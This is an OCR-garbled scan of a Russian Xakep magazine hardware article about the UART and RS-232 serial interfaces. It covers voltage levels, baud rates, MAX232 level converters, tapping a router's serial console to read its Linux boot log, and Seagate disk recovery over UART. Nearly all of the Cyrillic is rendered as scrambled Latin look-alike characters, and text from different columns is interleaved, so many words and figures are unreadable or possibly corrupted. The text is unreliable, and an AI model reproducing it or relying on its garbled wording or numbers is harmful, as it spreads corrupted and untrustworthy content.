cxeMbi BceB03MO>KHbIX 4aCOB, KOHBepTepoB l-1 npo4elii CnWbHQ;1 anna­

.opyrol1 mp3-nneep lil nO~TVl KPYW>1Tb M03rL-1 oKpy>KaKlUJ.>1M B sy3ax,

paTYpbl.

lla6opaTOpl-151X!>1 WKOn<JX, r,.'le (:TOflT OCUl-1JlJlOrpaepbl.11 MOJl'-ly npo TO, '-lTO

HO SVlAl-1MO, rAe-To OWl-16Cfl npl-1 cnaLliKe l-1 3anopon YCTP0l1CT80 no­

Ha CAe/laHKOe T0601ii 06513aTenbHO c6eryrcl1 nOCMOTpeTb Bee 3Ha KDMble,

npo6yi4 noo.1OTpeTb 3TY CTOfllllYlO CCblfll<Y no Hawe~ TeMe: http://www

nOApyrl-1,.oa 1'1 npoCTO rosapl-1w,l-1

XAKEP 05 /1251 09

VI nycTb TOllbKO nonpo6YKlT HaexaTb,

B caOK) 04epe,lJ,b, fl

nonblTanCfl cnaflTbynpow,eHHblVi sapl'laHT,

electronlx~ndmore.com/prolect/lndex, html.:::::;:

~

113


>> pht"€'aking 1

~~~~~~~~~~ ~~~~

.

~~

~~

~~~

~~~~

I~~~~~~~~~~~~~~~~~~ ~~ ~~~~ ~~~ ~~~~~~~~~""'~~~~~~~~ ~~~~ ~. ~~~~ -----------1

CfPrEL1.£10J1f1H

I DLINYJ.LlVEJOURNAL.COM I

1----------­

rJlABHbl~

~HCTPYMEHT

(J)P~KEPA

BemtKHIiI H MorY~HIiI UART Ha CTpaHiIllJ,axI HeOAHOKpaTHO ynoMiIlHaflC51 npOTOKOfl

UART,

HO MaflO

KTO 3HaeT, HaCKOflbKO 3TO MOLl\Hbli1 xaKepcKiIli1 iIlHCTpYMeHT. OH eCTb B 60flbWiIlHCTBe YCTPOi1CTB ill C ero nOMOLl\blO MO}l{HO 3aCTaBiIlTb pa60TaTb AeBai1cTaK, KaK HaM XOLJeTC51.Ii1HTepecHo7

. ~ •

i

i:l

OTTEJlErPACI>AKCOM-nOPTY

OCHOBHbl€ pa604lo1e J1l-1HHlA y Hac -

UART (Universal asynchronous receiver/tra nsmilter] lilJl III ,

no-pyccKlII, YAnn [YHlt1sepcanbHbllll aCV1HxpoHHblL:1 npl1eMQnepeAaT­

npOTOKOJl

[Received

YV1KI- cTapeillwltlL:1li1 caMbllll paCnpOCTpGlHeHHblL:1 Ha CerOAH>lwHlIIiII

3TI>1 nl1H 11 101 eOM-nopT8 3aAei1CTBoseHbl npl<1 nepe,D,aLJe 6e3 annapaTHoro

ynpaSlleHltl>l nOTOKOM ,lI,aHHbIX. nplo1 annapaTHoM nOrOK€ 3aAei:icTBo-

Ha1ll6o.nee

1II3SeCTeH >13

BaHbl e~e AonOnH;1reJlbHble lAHTep¢eC1cHble illtlHlAltl [OTS, RTS 11 np.J.

n pltleMHl'IKa RX 11

KOTOpbli.1 CTOlt1T YTe6A B KOMneJ. 3TO, Ha sepHoe, caMbllll ApeBHlt111 KOIVI-

BbIXO,Q nepe,n,aT4l-1Ka TX COe,D,l-1HeH C BXO,AOM

n bfOTepHblllllilHTep¢JeL:1c. OH A0)KIMI ,0,0 HaW fiX ,ll,Hellllll He nOTepAJ1 cBoei1

3JleKTplil'-leCKIili1 nplAHl.\lo1n pa50Tbl RS-232 OTnl1yaeTCR OT craHAapTHoi1

5-BOJlbToBoi1 TTL.

aKTyaJlbHOCTtIl.

HaAO cKa3aTb, '-lTO 1il3Ha4aJ1bHO Y1 HTep¢eHc YAnn

nO~Bj.1flC~ 8 C WA Ka K

Ha06opoT.

B 3TOM npOTOKO,'1€ JlOrl1'-leCKI-li1 Hyn b Jle)l(l'IT OT +3 AO + 12

-12, COOTS€TCl"aeHHO. npOM€ ) l(yToK OT ~3AO 1-3

BOJlbT, a eAlAH\1u,a oT~3AO

cpeACTBo Afl~ nepe,n,a'-llil TeJlerpa¢11blx co06UJ,eHl'IVo, l'I pa604l'1x 6l'1T TaM

BOl1bT c4I1TaeTC>l30Hoi:i H€Onpe,ll,eneHHOCTltl. Y'-lTYI, 4TO Bce Hanp>l.:>KeHlA51

6blilO nsnb [KaK B a36yKe Mop3e). ,llil~ nepeAa4l'1l'1cn0J1b308aJ1l'1Cb Me~

yKa3aHbi OTHOCl-1TellbHO Kopnyca KOMnbKHepa, l<111ltl3eMIl~. Tenepb, >l AY­

B KOMnblOTepHOM 6,lOKe nlilTaHlASl cy~eCTByeT

xa Hl'IyeCKl'Ie YCTpoVoCTBa. nOTOM n051BI>1Jll'lCb KOMnblOTepbl, Y1 KO,Qbl ASCII.

MaIO, Tbl nOHl-1MaeWb, 3a4€ M

KOTopble nOTpe60eam1 ceMb 611T. B HaLJaile 60-x Ha cMeHy npl1wna BceM

cpa3y ,IlBa Hanp>l>KeHl-1Sl:

113BeCTHaSl8-6V1THaSl Ta6JH11.l<l ACK\t1, l'I TorAa ¢lopMaT nepcAa4l'1 CTaJl

l-lO,ll)lSl pa60Tbi COM~nopTa,

3aHl'IMaTb nOJlHO~eHHbl~ 6aih. flnlOC ynpaBnsuoUJ,l'Ie Tpl'l 6\1T3.

TaKas:l 60f1bWall aMnmny,ll,a pa604lAX HanpSl)l(eH')Iiii, l.\eilblX

819'71 rOAY, KorAa y)l(e Ha4aJlc516YM MIilKpocxeM. rOPAOH 5eJlJl All51

HylKHa 8 nepsylO 04epe,Qb ,Iln>lIlOM€XOYCToi1YL-1BOCTlA J1lAHl-1i:i CBSl3l'1, no

KOMn blOTepOB PDP ¢;l'I pMbl Western Digital WD1402A.

cAenan Ml'IKpocxeMy UART

npl'lMepHO B Hayane 80~x ¢llAPMO~ National Semiconductor

6blJl C03AaH Yl'In 8520. B 90-e 6blJl nplAAyMaH 6y¢>ep K l'IHTep¢lei1cy. 4TO

-1211 + 12 SOflbT. OHl'I 6blllV1

BBeAeHbl cnelJ,l'IaJlb­

24

BOJlbTa,

CTaH,ll,apTy, ,D,lll'lHa Ka6eJlSl, no KOTOpCMyy Hac oeralCT AaHHble, MO>KeT 6blTb

15 M. XOHI Ha

Ha npaKTlAKe JlIOAltl yMy.op>l!1Io1Cb 3aCTaBMlTb era pa60TaTbAa)l(e

25 M.

3neKTp\4LJ€CKIo1€

KOTOpa>l OTill'l43eT ero OT ,Qpyrl-1x npOTOKOJlOB ceMe;;'CTBa UART.

i:l

C1>~3~KA~HTEPCI>EI1CA

napaMeTpbl RS-232 -

3TO rnaSHa~ x:apaKTep~CT\1 Ka,

n03BOJllilflO nepe,QasaTb AaHHbie H<:l 60ilee BblCOKl'IX CKOpOCT>lX. 3TOT l-1HTep¢lei1c, He npeTepnes npaKTI>1LJeCKVl Hl-1KaK.!'1X l'I3MeHeHl-1L11, .o.0lLlen l'I AO HaWl'IXAHeVi

I

D<Jtal. a nopT RXD

Oatal- npl-1HlAMalOtu,a~,

AeHb ~lil3lilYeCK""i1 npOTOKOJl nepeAa41i1 AaHHbIX.

ceMelllCTBa UART npoToKoll R5-2321B HapoAe - COM-nopT, TOT caMblii

1:'

RXD l'I TXO, lAlllo1 npoCTo RX ltl TX_

nepeAalOUJ,Cl>lllIo1Hltl>l - TXO (Transmitted

CfleAYKJ~~e Xap3KTeplilCTlilKl-'1 -

AaHHblX -

¢OPM3T nOCblllKL-1 ~ CKOpOCTb nepeAa4l'1

nOnHOCTl>1O npl'lMeHI>1Mbl KO sceM Bl-1A8M UART \1 o6ecneLJl'Isa­

lOT l'IX COBMeCTI<1MOCTb Yepe3 HeCIlO>l<Hble cxeMbl

ConpSl)l(eH~Sl.

I..1T06bl nOHsHb, 4TO POAHlAT lA OTillAyaeT pa3Hbie UART -Io1HTep¢ei1cbl,

eTa H,QapTH3Sl nOCblllKa 3ClHlAMaeT 10 61>1T Ho n paslA!1o 3TO pacn pOCTpa­

pa36cpeM nplilHlJ,lAn pa60Tbi caMoro nony!151pHoro lA JlI06l'1MOrO HaMIil

HReTCSl TOllbKO Ha cTaHAaprH ble HaCTpO~KI>1 COM - nopTe.

npoToKona RS~232. AOTOWHO pacnlo1cblBaTb ace TOHKOCTlA era pa60Tbi >l He

era MO.>KHO nepeHaCTpOl'lTb TaK, L-Ho6bl OH Aa)l(e l-1HTep¢eCic One-Wire

8

nplo1HL\lo1ne,

0YAY. 06 3rOM HanltlCaH Hltl 0AV1H AeGITOK Mera6<J(1r crarei:i, l-1 eCJll-1 Tbl YMe~

nOHlAMaJl.

eWb nOllb30BaTbC>l ryrnoM, TO 6e3 np06neM Hal4AeWb BCIO H€o6xOAltlMYIO

OHa HaXO,ll,l-1TCSl 6 COCTO>lHl-1101 JlOrIo14eCKO~ e,QVlHltllJ,bl, lilJlI'1-12 BO!1bT. Ha'-la­

l'IHcPopMau,l'IlO. Ho OCHOBbl >l paCCKa>t<y, 6fla ro, C HIo1Ml'I MO)l(HO y>Ke KpyrO

no nepe,D,a4l'1 0603H34alOT nepeAa4ei1 CTapTosDro 6lA,a, KOTOpol11 BcerAa

aceM pyfllATb, a BCRKlo1e ¢IIlWKlo1lACnOJlb3YlOTCH OyeHb peAKO.

paseH HynlO, 3aTeM I1AeT nepe,lJ.aLJa BOCbMl-16l-1T ,QaHHbIX. 3asepwaeT

~

114

B pe%l-1Me npoCTOSl, KOrAl?

no !1lt1HlAl-1 Hl'I4erO

He nepeAaeTCR,

XAKEP 05/1251 09


CHrHAflUARTHA3KPAHEOC~HflflorPA~A.BHAEH

ClAPT EiHT.AAHHbIE H ClonoBbl1it EiHT PAcnA5IHHbllit HYflb-MOAEM

BCKPblTbl1it POYTEP. HrOflKH Y>KE PACnMIHbl

npOBEPKA PAEiOTbl-flOr3ArpY3KH L1NUX B npo­ rPAMME MINICOM f.:l CKOPOCTb PA60Tbi Aa:Ke eCJ1I.1 1e6e paHbwe Hlt1KOrAa He npl-1XOj:\IM10Cb pa60r8Tb c COM-nop­

j

TOM,

no KpaiiiHeill Mepe, 8 MOAeMe Tbl AOJl;tCeH 3HaTb HOMl-1HanbHble (KOpaCHi

pa6oTbl: 9600, 28800, 33600. 56000

VI T.n. CKOJlbKO

61'11 B ceKyH.llYy6eraer 1-13

H8wefO nopn? BOT cMorplll •.QonYCTl>1M, CKOpoCTb y Hac 9600 61011 3TO 03HaY3eT, '-ITO nepeAa4a O,[lHOro 6\1Ta 6y.a.en3HI1MuTb a nepecblflK3 6ai1Ta -

11/9600.

B

ceKyH,IJ,y.

1/9600 ceKyl-',Qbl,

V1 T3K3}l CKOPOCTb,[lllR 6ai:1T3 BepH3 TOllbKO

B cflyyae, eCllM CTon-6MT 6YAeT 3aHMM3Tb OA\1H 6111T, Hlo1M3et ,QBa CTon-6\1Ta, TO nepeA343 6YAeT

B(nyu.ae, eCIlIII OH 3a­

12/9600. 3TO C8\'133HO CreM, '-ITO

BMeCTe C 6lo1T3MVl AaHHblX nepeA310TcR ew,e cneUltlallbHbJe 6\1Tbl: CTapT, CTon \1 6Io1T'-IeTHOCH1, JlIo1Heiha CKopoCTei:1 COM-nopT3 CTaH,ll.apT\13\1pOa3Ha, KaK np3a\1f10, ace yCTPOl7iCTS3 pa60T31OT Ha TpP.X CT3HAapTHblX eKopoeTs<x:

19200, 115200, Ho B03MO>KHbI APyr\1e nOCblJlKY

6.-,r 4eTHOCH11'1 CTOnOBbliii 6V1l. 5YlT yeTHOCTl.1 ocyw.eCTSJls:l­ 6..,r rOBOpl1T HaM, 'lTD

e1 npOSepKY nepe,qaHHblX A3HHbIX. CTSpTOBbil.1

nepeCblJlK8 fJ.aHH b1X 3a SepWel-l8. 3SHli1MaTb

HaJ\o OTMenHb.

1, 1.5, >1 2 61:118. He (101111 .llYMaTb.

4TO

9600,

aap\1aHTbl, ,Qa)Ke \1(rlOllb30BaH\1e

HecT3HAapTHbix cKopoCTei1lAllltl cKopocn1, MeH>1K)l.L\ei1CI'l BO BpeMeHlo1, -

C

3T\1M fl CTal1K\1B31lC" np\1 p3360pe nOJleTOB OL.fepetJ,Horo YCTPO~CT83_

STOP-6\1lT MO>KeT

"lTO 310 APo6Hbie 6V1Tbl, 310

f.:l

TAKOIII PA3Hbllll npOTOKOIl

~l-1CJlO rOBOplilT TOJlbKO 0 ere ,lJ,J1l/neJlbHOCH1. CronoBbliil6l.1r. KaK V1 crapro­

Bl.1AOB

Bbli1, paseH HyJlIO.

\1X H3\1MeHOS3HltlR, 10160, eCll\1 Tbl B1l3AeeWb 3Hrf1\1i:1CKltlM, TO CYM€eWb \1

XAKEP 05/1251 09

UART eyw.eeT8yeT 8 €J1I.1Koe MHO)KeCTBO. s:l He 6yIJ..Y nepe4\1CllRTb

~

115


»

phreaking

~~~~~~~~~~~~~~

pa60Tbi Tpe6yeicSl 4elblpe KOH,ll,eHcaTopa OT

O. i

MV1Kpo¢apa­

Abl ,0,0 4 MI-1Kpo¢>apaA t.1 nVlTaHt.1e 5 80f1bT. Y,D,It1Bt.1TenbHO, '-ITO

i

-'\r

3T3 Mt.1KpOCXeMa V13

-'\r

BOCCTAHOBJlEH~E

CYLLlecTsYIOT MVlKpocxeMbi conp5l>KeHVlR USB c UART, Hanp\ll­

>KECTK~XA~CKOB

Mep, Mt.1 KpocxeMa f1232rl. B Ubuntu AJlSl 3T0l1 MI-1KpOCXeMbl

~~~~~~~~~~~~~~ He raKAaSHO B npecce, B TOM YIKJ1e, Ha CTpaH~l.l,aX Hawero )l(ypHana,

•'I

npo6era­

5 BOIlbT reHept.1pyeT oTpVl~aTeJ1bHOeHa~

np5l>KeH\Ile, 4T06bl conp~raTb 5-S0flbTOBbll1 UART c RS-232.

y)l(e BCTpoeHbl ,ll,pa~BepCl. AnR Wi ndows!.1x npt.1AeTeR KaY<lTb C O¢lVll\V1allbHOro caCiTa. nOcJle yCTal-:oeK~ .Qpat1aepos B CI-1C­ TeMe nOSlBlo1TcRBl1pTyallbHblt1 COM-nopT, V1 C HVIM y:.<e MO)l(HO

eyer annapaTHoe <popMan"poeaHlIIe.

PYJll.1Tb pa3Jl\>l4HblMltl YCTpoCicT8aMt.1. CoseTylO He npVll1t.1MaTb

ECJll.1 nOMHI.1Wb MOIO CT3TblO 0 M3rHI1T­

:;lTVI MV1KpocxeMbI, KaK e,Qt.1HCieeHf-;O S03MO)l(H~e. Ha Hj:\eTeR

1Ia ~H<I)QpMaL"'1Sl0 CneTaH1111 npOWIo1BOK

HOM yHVI"ITO>KeHVIVI AaHHblX, 3Ta <VVI"Ia

rpOMa,QHoe KOllltlyeCTSO GOllee ,ll,eWeBblX t.1 VlHTepeCHblX

Y>KeCTKI1X Alo1CKOB ceMe~CTBa

npVlAeTCSl Te6e no SKYCY. Cyrb TaKosa:

aHanoros, noceMy HaCeAaL1 Ha ryrJl VI noL:iMeWb. 'ITO Ml-lp

Ho, OKa3b1BaeTCfI, nocne Kpaxa >KeCT­

eCllV1 AaTb Ha xapA TaKylO KOMaHAY VI TYT

UARTa -

Koro Alo1CKa era MO>KHO BOCCTaHOBI1Tb.

HeO>KVlAaHHO py6aHyr nVlTaHVle, TO BVlHT

B l.(eflOM, Mt.1KpOeXeMbl CTO"T MOCTaTO"lHOAOpOrO 11 nopoVi

Segate.

3TO KpyTOI

Y MHon1X >KeCTKItIX AI1CKOB CYll.I.eCT­

6YAeT Aoq,opMaTVIpoeaH npVl clleAYIO­

MO::t:HO o50ViTVlCb 60Jlee CflO>KHbl MVI, 60Jlee ,D,eWeSbIMVI cxe­

eyer ltIHTepq,eikHbll1 pa3beM UART.

Ul,eM BKlllO"IeHVlVI. 3TO 03Ha"laeT, "ITO,

MaMli1 Ha nape TpaH3t.1CTOpOB

4epe3 Hero B03MO)f(HO 3am1Tb CBe>KylO

eCl1l1 K Te6e HaneTenl1 MacKI1-woy VI

npowIo18Ky B KOHTpOJlnep BI1HTa iii He

3a6palllil BlilHT, -

nOTepRTb I1H<popMaLl,1II1O Ha )l(eCTKOM

CSl y>Ke y HlIlX. npl1 nOAa4€ nVlTaH"'R. 1-1

KaK Tbl nOHRJl, liIHTep¢eL:ic

,QI1CKe. MaHyall Jle)tO'!T Ha HaweM DVD.

HeA06po>KenaTellSlM OCTaHeTCSl TOllbKO

YCTpOHCTBax, B KOTOpblX CTOItiT K3K0I1-nt.160 npOlleccop V1f1101

Y HeKoTopblX >t<eCTK\tlX ,QIiICKOB cYLlIeCT-

>KeSaTbconl1"'.

OH Aoq,opMaTl1pyeT­

fll

4TO HAM 3TO AAET? UART nplt1cyrCTByeT BO MHorlo1X

KOHlpOJlllep. $=I Aa::t<e 60f1bWe CKa>Ky; eCJlv, TaM CT0l11 KOHTPOfl­ Jlep. TO fOapT eCTb CTonYJ\OBO [TO.nbKO OH He BcerAa MO)l(eT I-1C­

€)

, dvd

catA HaryrllLHb. Ho caMble OCHOBHble He OTMeTIt1Tb Hel1b3Sl) Ha­ nOMHIO. "ITO rllaSHOi? OTflVl"l\>le VlHTep¢>e~COB COCTOVIT B cpeAe VI cnoco6e nepeJ\ayltl ,o,aHHbIX, ,[laHHble MOryT nepe,q3S3TbCR ,o,Cl>Ke flO onT060110KHY. BTopo~ no pacnpoCTp3HeHHOCTltlltlHTep<pe~c n ocne RS-232

- :;no RS~485, OH Sl8JlSleTC9I npOMblWJleHHblM cT3HAapToM,

Ha AI1CKe Te6f1 )K,[IyT

l.1 nepeA3Ya B HeM OCYll.(eCTSJlSleTCSl no BmOI1 nape. "ITO AaeT

ABa pOJH1Ka, AeMQIIC­

eMy Henll0XylO nOMexoYCT0I14l.1S0CTb VI nOBblweHHYIO CKOpOCTb

TPlo1pYKlLl.(I1€ pa60ry 4YAo-p,esai:!ca.

AOCTlo1raTb 1 KM. KaK npaslMlo. OH lIlcnollb3yeTcSl Ha 33S0,ll,3X

nepe,o,ayVi ,0,0 4 Mera6:.1T B C8KYHp,y. AJlVlHa npoBoAa TyT MO>KeT

,nJlSl ynpaSJleHlIlSl pa31lblMVI CTaHKaMI-1. HaAo CKa33Tb, "ITO IRDA. I-1Jl>1 t.1Hq,paKpaCHClR CBSl3b, KOTO­ pClR BCTpoeHa S 60JlbWI-1HCTBO TeJle¢!OHOB li1 Kn K, TO>Ke, no cyrl.1, SlBJl~eTCR UARTOM. TOflbKO AaHHbie nepeAalOTcSl He no npOBO,ll,aM, a c nOMOUl,blO VlH¢paKpacHora lo13JlyyeHVlR. B SMART-KapTax K3pTblJ -

links dlin'1Llivf;Journalcom

~

151M, cnyrHt.1K080e TEfleSI-1,D,eHb€, 6aHKOBCKIo1e

Tex C3MbiX YCTP0l1CTB3X, KOlopble M€'H3eTnOXa"lt.11b

Ka>KAbli:i yS3)1(dlOUl,li111 ce6" .:ppt.1K€P - TO>Ke t.1CnOJlb3yeTcR Haw JlI06V1Mbll1 UART. npaSAa. TaM nOfly,D,ynneKCHaSl nepe,D,34a AaH~

CYTCTBYET BO MHOr~X YCTPO~CTBAX, BKOTO­ PblX CTO~T KAKO~-Jl~50 npOUECCOP ~Jl~ KOHT­ POllllEP. 51 AA>KE 5011bWE CKA>KY: ECll~ TAM CTO~T KOHTPOJlllEP, TO KlAPT ECTb CTOnYAOBO»

5 BOJlbT. BblrJl",ll,V1T

- Moi16J1or, rAe Tbl

HbiX. l>1 flOrt.1Ka pa60Tbi MO>KeT 6blTb 1,8/3,3 VI

MO)t(eWb yBl'1,[1eTb pa3­

TaK, 6YATO RX 3ana"H C TX Ha OAHOM V1 Ha MyroM KOHLte -

JH11.1Hble nOAellKl-1.

pe3yflblaTe, OA\o\H nepej:\aeT, .apyro~ B 3TOT MQMeHTcnywaeT, lt1

«~HTEP~E~CUARTnp~­

B

Ha060poT. 3'To perfl3MeHTt.1pOSaHO CTaH,D,apTOM cMapT-KapT.

TaK Mbl T04HO 3H3eM. CKOJlbKO 6al1T nowneM, 101 CKOflbKO OTEleTIo1T Kapl04Ka. T8Ma jJ,oCToCiI-lCl oTAeflbHoCi CT3Tbt.1.

Bo6w,eM, 33nOM­

Hl<1, UART eCTb nO'-lTt.1 ee3,l],e.

nOflb30saTbCR) KaK npaSV1IlO. no 3TOMy L-1HTepq,eiky lilAeT Ha­ na,o,Ka 11 npOlJepK<l pa60Tocncco6Hocnl AeSCl~ca, 3aYacTylO np0V13BO,ll,Io1TeJlb YMaJlYliIsaeT 0 Haf1t.141ott.1 ~lToro lo1HTep¢eL:ica S 1iI3Aenlellll, HO Ha~nl ero HeCJlO>KHO: ,o,OCTaTOYI-IO CKa4aTb MCl­ HyaJl Ha npo~eccop V1, rAe HaxO,ll,ItITCR tOapT, Tbl 6YJ\eWb3HaTb nocne 10ro. KaK Tbl nOflY4V1wb q,t.13I1yeCKI1i1 ,ll,ocTyn K )I(elle­ 3"Ke no HaWet.1y t.1HTep¢ei1cy, MO>KHO era HaCTp0ltlTb Ha CBoe

fll COnpS'!>KEHIi1E Ii1HTEP<IlEIilCOB 51 y>Ke r'n33a H3M030JHlfl pa3HblMVI VlHTep¢leikaMt.1, HO

yCMoTpeHVle t.1111ot Aa)Ke 3aCT3BlIlTb pa60Talb TaK, Ka K Ha,ll,D KaK

Te6e. a He K3K 3aAYMaJl np0I13BO,ll,lIlT811b. B o6w,eM, -

Bbl>KaTb

C Hli1Mt.1 pa60T3Tb-TO? Hy. C 06blYHbiM RS-232 nOHI1THO, a,

MaKcVlMYt.1 S03MO>KHOCTeCi

AonyCT\o\M. C 5-BOflbT06bIM lOapTOM KaK 6b1Tb? Bce npocTo:

pOM noclly>KaT CTaTbl-1 Di Halla «AJlt.1HHal1 pyKa KOI-npollR»

cyw,ecTsyKH pa3f1V\4Hble rOTOBbie Mt.1KpOCXeM bl -

#1071

npe06­

pa30S3Tent.1. KaK npa13V1JlO, 8 M3pKt.1pOBKe OHI-1 cO,ll,~p)l(aT

VI «M06V111bHoe 3flO»

VI)

eKpoMHorc ,o,esaiAca. npt.1Me­

[I

lI#l 1 OJ. 3HaHI1e 3Toro npoTOKo­

.na /.1aeT TaK>Ke S03MO>KHOCTb nO,D,CllywaTb. 410 >Ke TBOpltlTCR

LtIol¢Pbl «232». Y8t.1AeJl B cxeMe MIolKPYXYC3TVlMIol ~VI.:pVlP>lMt.1

B llt.1Ht.-lSlX 06MeHa Me>KAY pa3Ilt.1'-1HbiMV'l npo!..(eccopaMVI, TaK

-

KaK

6YAb ysepeH: CKopee Bcero, 3TO npeo6pa30B3Teflb. Yepe3

4auo npOltl3BO,[l,VlTellVi opraH~3YfOT u,eJlble lOapT-ceTVI

B

T3KIote MVlKpocxeMbl C He60flbWVlM 0681130M lot conpRralOTC"

cBoeMycTpoVicTse. B o6w,eM, npt.1,'v1eHeHVlL:i MHoro. rJl2SHOe­

Bee VlHTep¢leCicbl UART. $=I He 6YAY paccKa3bl BaTb 0 npOMblW­

VlHTYVlTVlBHO nOHVlt.1aTb. KaK 3TO AellaTb.

JlCHHblX t.1HTep¢>eI1C3X, a CK3>KY 0 Tex npeo6pa3083Tellj:lX,

fll

K010Pbl€ V\HTepecylOT Hac B nepBylO oYepeAb. CaMblii Vl3BC'CTHl>lCi npeo6pa30B3Tef1b VlHTep$e.:tca -

3TO

Mt.1KpoeXeM3, pa3pa60TaHH3R¢>Io\PM0I1 MAXIM, KOlopa" lei

II III

·1

nOJlY4V1Jla OT Hee 4aCTb CBoero Ha3S3HV111 !max2321.

~ 116

Ans:l ee

XA41i1M T04KY AOCTynA

HaMeAHt151 HaMyTV1fl ce6e WiFi-poyiep WL-520GU t.1, np04t.1TaS CTaTblO Step' 2 «Level-up ,Qfl>l TOYKlIl ,D,ocryna» I I

#1061. ycnewHo YCT<lH08V111 TYA2

Unux. Ho y MeH>l B03HVlK­

XAKEP 05 /125/ 09


, C06PAHHbll1 \Il YCTAHOBllEHHbl11 nPE06PA30BA­ TEllb \IlHTEPCilEI1CA

nOllHO~EHHbll1 ll\llHYKCOBbl11 KOMn (CO CBOEI1 APX\IlTEKTYPOI1)

nOCllEAH\IlE WTP\IlX\Il- 3AnA\IlBAEM PA3bEM

J1111 np06,neMbl C MOHTlIIpOeaHV;€M swap- pa3AeJl3 )KeCTKOrO )J,lt1CKa.

TaK

CnO)KHOM AMI nai1KIiI Kopnyce, noceMy Mbl norOBOpl-1M 0 60llee npocTblX

nORBl-1naCb Heo5xOAl-1MOCTb ilOCMOTpeTb nor 3arpY3KlII TO~KI1 ,aocryna­

peWeHI1>lx. A Io1MeHHO -

nOAMOHTl1pOaaJlCSl pa3.n,eJll-1Jl III Her -

nl.1TaTbC>l OT poyrepa, TO T3M, CKopee acero, 6y,[lCT 3.3 SOJ1bTi3, n03ToMY

nplo14eM, Ka K rOBOplt1TCSl. Hi! n€ry.

'-\To6~ cpa3Y BHOCIi1Tb Heo6xo)),lIIMb'.e ltI3M€HeH\-1A. WeCTblM "lySCT60M Sl

MI1 KpocxeMe MAX232. ECfll1 Tbl c06J.1paeWbC>l

J1Y4we Lo1Cn0J1b30BaTb MAX3232, KOTOpa>l 06bl'-lHO CTOlilT B KnK !cxeMy

nOl103pea8Jl, "ITO B MoeM pOYTepe npoCTO 06,133H 6blTb UART 51 83>1J18

p3Cna~Kltl HeTpyAHo Ha~TLo1 B l-1HeTe], Ho B MoeM pOyTepe npLo1cyTcTsoBa­

PYKIo1 KpeCTOSYKl OTsepTKy 101 HaYiln era pa36lo1paTb. AeJlo rp1ll8l13nbHOe,

110 nLo1TaH>1e

HO C 38K013bl pKOi1 -

MHO>KeCTBO. 101l'l He CTi:lJ13aMOp31..1l-1BaTbCl'l.

HO%K3M III

nora(:1Hble Bl1HTlII Xlii HaXOA51TCSl no,o, pe3l11HOBbiMlil

lecflL1 peWltlWb n08TopV,Tb,

nOMHI-1, '-ITO nplll pa360pe Tbi IlI'1wa­

+5

BOJlbT Ha sXOAe, a YKa33HHbiX MI-1KpOCXeM y MeHS'l aeJlJ.1KOe

An" C60PKl1 HaM nOTpe6ylOT­

C>l KOHAeHcaTopbl 0, 1 MKCD [4 WryKLo1) 101 caM3 M>1KpOCxeMa. 3anal1SaeM

eWhCI'l rapaHHll11l. MoeMy 830py npeAcrana p,ocraro4HO CKy4Ha" nJl3Ta,

Bce no Tpa,(llill(110H HO~ cxeMe, 101 Hal..fl1HaeM 3Kcnep\llMeHTbl

rAe Bce «chip-in-one»: 0AlIIH u.eHTpaJlbHbl~ npou,eccop, B KOTOpbli:1

Ha BbIX0.o. 11 cpa3y nOBeCIo1Jl9-nl-1HOBbl~pa3beMT\Ilna «nana'l, ~To6!:::o1

BKJ1104eHO Bee, BHeWHIHI onepan1S8, ¢n€wa, npeo6pa30S3Tel1b nl-1Ta­

MO>KHO 601110 Jlenco nOAKIlI04l1Tb HYJlb-Mo,o,eMHbli-l Ka6el1b, ECIll-1 Tbl

Hl-1~ 1'\ P>l.o.OK paJbeMOS C KHonKaMLo1, He Ha onare 6blJla HepaCnal'lHHal'l

KOHTa KTH85l nJlOUJ,a,[l,KCl, T04Hee CK333Tb. OTBepCTl-1l'l no,Q l-1 rOil KIo1.

l-1x 6b11l0

nOMHL-1Wb, so BpeMeHa DOSa Ta K\.1M 101 Ka6eM1M>1 /l,enaJ1101 ceTl(y 1013 ,D,syx KOMnOB 101 pe33nLo1Cb B «.o.iOKHIOKeM». npOBOA AMI HaWIiIX ueJlei-l co6paTb

4eTbipe WTyKIiI. BOT OH UART, :no 04eSIo1,QHO! no nnaTe ,Qa:.::e 6e3 MynbTLol­

HeCJlO>KHO. npaS,D,a, nOJly'-lItlTCl'l He nOflHblM HyJ1b-Mo,o,eM III '-Iepe3 Hero

MeTpa BIo1,QHO, "fTO Kp3~Hl-1e l-1 ron Klil ~ 3TO .. 3,3 BOllbT3 101 STOpOi1 ~ 3eMJ1R,

oc060 He nO\l1rpaeWb. HO PYJllilTb T04KOM Aocryna 6YAeT caMoe TO! Te6e

CpeAHLo1e KOHTaKTbl, COOTBeTCTBeHHO,

RX \11 TX.

KaKoi1Lo13 Hl-1X 'ITO. nerKO

YCTaHaBJ1l-18;:;1eTCR MeTOJl,OM HaY4Horo TblK3 lcnallLo1Tb t1HTep¢e~c 04eHb np0611eM3TLo14HOI. Cpa3y X04Y omeTl-1Tb. '-ITO Lo1HTep¢e~c UART 8 K3)1<AOM pOyTepe 13blrJlRALo1T no-pa3HOMY.

B 60flbWIo1HCTBC Cl1Y4aes, :no Hepacna­

nOHa,l:\o6>lTC>l ABa 9-nLo1HOBbIX pa3beMa Tlilna «MaMa», KOpnyca K HliIM iii np080A, HanpltlMep. aT CTapo~ MblWKLo1lo1nlo1 KJlaBbl [rna SHoe, I..IT06bl B HeM 6blno Tplo1 npOBO,1\al. CHayall3 COeJl,Lo1H>leM 3eMJH1 ~- 3TO nl'lTbiM KOHTaKT pa3beMOS, npOCTO 6epeM m060M npoBoA l1 C 060Lo1X CTOpOH npl1nal-1BaeM

>lHHble OTBepCfLo1l'l Ha nnaTe. np3SA3, B OAHOM poyrepe OT ASUS >l ,D,a>t<e

K 5- My KOHTa KTy. A BOT C RX 101 TX Ha.o.o nocrynLo1Tb xliITpee.

scrpeTliln nOJ1HOCTblO nOAnI-1CaHHbl!4 pa3beM.

npoBoAa 3anal-1BaeM Ha 3-i1 KOHTaKT, a C ,D,pyroro -

a C06HPAEM nPE06PA30BATEIlb

,D,pyroro -

'-lro6b1 nO,D,KJl10'" l'1Tb poyrep K KOMny, He06xO,D,\I1MO Cenp5l4b l-1HTep4>ei1cbI

3<lna~HHble pa3beMbl8 Kopnyc -

C O,O,HOro KOHLI,a

Ha 2-i1, AH3florlo14Ho c

TpeTb\1M npOBO)l.OM, TOflbKO c O.QHoro KOHlla 3anal-1BaeM Ha 2-M KOHTan, C

RS-232 c UARToM poyTepa.

B npLo1HLI,Lo1ne,

MO>KHO nOAKJlIO ... Io1Tb K USB,

